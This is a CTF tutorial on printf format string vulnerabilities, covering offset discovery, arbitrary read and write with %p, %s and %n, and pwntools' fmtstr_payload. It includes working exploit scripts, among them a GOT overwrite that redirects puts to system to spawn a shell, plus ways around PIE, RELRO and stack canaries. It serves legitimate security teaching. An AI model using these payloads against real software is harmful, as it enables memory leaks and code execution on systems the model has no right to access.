Format String Vulnerabilities
Exploit printf format string bugs for arbitrary read and write in CTF pwn challenges.
Format String Vulnerabilities
A format string vulnerability happens when user input is passed directly as the format string argument to printf. This lets you read from and write to arbitrary memory — using the format specifiers that printf already understands.
This is one of the most powerful primitives in pwn: a single printf(buf) call can leak libc addresses, overwrite function pointers, or get you a shell.
The Vulnerability
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf); // VULNERABLE — user controls the format string
printf("%s", buf); // SAFE — format string is fixed, buf is just dataThe difference: when you control the format string, you decide what specifiers printf processes. %x reads from the stack. %n writes to memory. printf doesn't know you're doing this — it just follows the format string.
How printf Reads the Stack
Here's the key insight: printf gets its arguments from the stack (on x86) or from registers then the stack (on x86-64). When you write printf("%x %x %x"), printf pops three values from the stack and prints them as hex — whether you intended those as arguments or not.
printf("%x %x %x")
Stack:
┌──────────────┐
│ 0x41414141 │ ← arg1 (your input buffer starts here)
│ 0x7f12345678 │ ← arg2 (some libc pointer)
│ 0x00000000 │ ← arg3
└──────────────┘
Output: 41414141 7f12345678 0Your input buffer is on the stack. So %x will eventually read your own input — and everything else on the stack around it, including saved addresses, canary values, and libc pointers.
Finding Your Offset
Before doing anything, you need to know which %N$x corresponds to the start of your input buffer:
from pwn import *
p = process('./vuln')
p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = p.recvall().decode()
print(output)
# Look for 0x41414141 (AAAA) in the output
# If it appears at position 7 → your offset is 7Once you know the offset, use %N$x or %N$s for direct access:
# Read the 7th argument (your input buffer)
p.sendline(b"%7$p")
# Read the string at the 7th argument
p.sendline(b"%7$s")Primitive 1: Arbitrary Read
Leak stack values
# Dump 20 stack words
payload = b"%p." * 20
p.sendline(payload)This leaks libc addresses, stack addresses, canary values — anything on the stack. In a CTF, run this first to see what's available.
Read a specific memory address
To read memory at an arbitrary address, place that address in your input, then read it with %s:
# Read the value stored at puts@GOT
target = p64(elf.got['puts'])
payload = target + b"%7$s" # offset 7 = start of our input
p.sendline(payload)%7$s dereferences the 7th argument as a pointer and prints the string there. Since the 7th argument is your input (which starts with the GOT address), it reads the value stored at puts@GOT — leaking the real libc address of puts.
Primitive 2: Arbitrary Write (%n)
%n is the most powerful format specifier. It writes the number of characters printed so far to an address on the stack.
How it works:
printfhas printed N characters so far (from%Nc, padding, etc.)%ntakes the next argument as a pointer- It writes the value N (number of chars printed) to that pointer
Writing a small value
# Write 0x41 (65) to a target address
target_addr = 0x602020
payload = p64(target_addr) # place target address on stack (at our offset)
payload += b"%57c" # print 57 characters (8 bytes already printed + 57 = 65)
payload += b"%8$n" # write 65 to the 8th argument (our target_addr)The 8 bytes of target_addr are already "printed" as garbage, so printf's internal counter starts at 8. Then %57c adds 57 more. %n writes 65 (0x41) to the address.
pwntools fmtstr_payload
For anything beyond trivial writes, use pwntools:
from pwn import *
elf = ELF('./vuln')
# Map: {address_to_write: value_to_write}
writes = {elf.got['exit']: elf.sym['win']}
payload = fmtstr_payload(offset, writes)
# offset = your format string offset (from the AAAA.%p test)fmtstr_payload handles all the complex arithmetic — splitting large values into multiple %hn writes, ordering them correctly, and avoiding null bytes.
Auto-Finding the Offset
Let pwntools figure out the offset for you:
from pwn import *
def exec_fmt(payload):
p = process('./vuln')
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
print(f"Offset: {autofmt.offset}")GOT Overwrite via Format String
The most common CTF pattern: use the format string to overwrite a GOT entry with system, then trigger it with "/bin/sh".
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# Step 1: Leak libc address
p.sendline(b"%21$p") # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")
# Step 2: Overwrite puts@GOT with system
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(offset, writes))
# Step 3: Trigger — next call to puts(input) becomes system(input)
p.sendline(b"/bin/sh")
p.interactive()For more on GOT overwrites, see GOT Overwrite.
Protections and Bypasses
| Protection | Impact | Bypass |
|---|---|---|
| PIE | Binary addresses randomized | Leak a binary address via %N$p first, then set elf.address |
| Full RELRO | GOT is read-only | Target __malloc_hook/__free_hook (glibc < 2.34) or _IO_2_1_stdout_ |
| Stack Canary | Canary value on stack | Leak it via %N$p before any overflow |
Format string bugs are especially powerful because they can leak and write in the same vulnerability. Leak the canary, leak libc, then overwrite — all through printf.
Checklist
- Is
printf(buf)orfprintf(buf)called with user input as format string? - Find offset: send
"AAAA.%p.%p...", look for0x41414141 - Leak libc/binary/canary addresses with
%N$p - Use
fmtstr_payload()for writes - Target GOT (Partial RELRO) or hooks (Full RELRO, glibc < 2.34)
- On glibc 2.34+: target
_IO_2_1_stdout_or.fini_array
Last updated on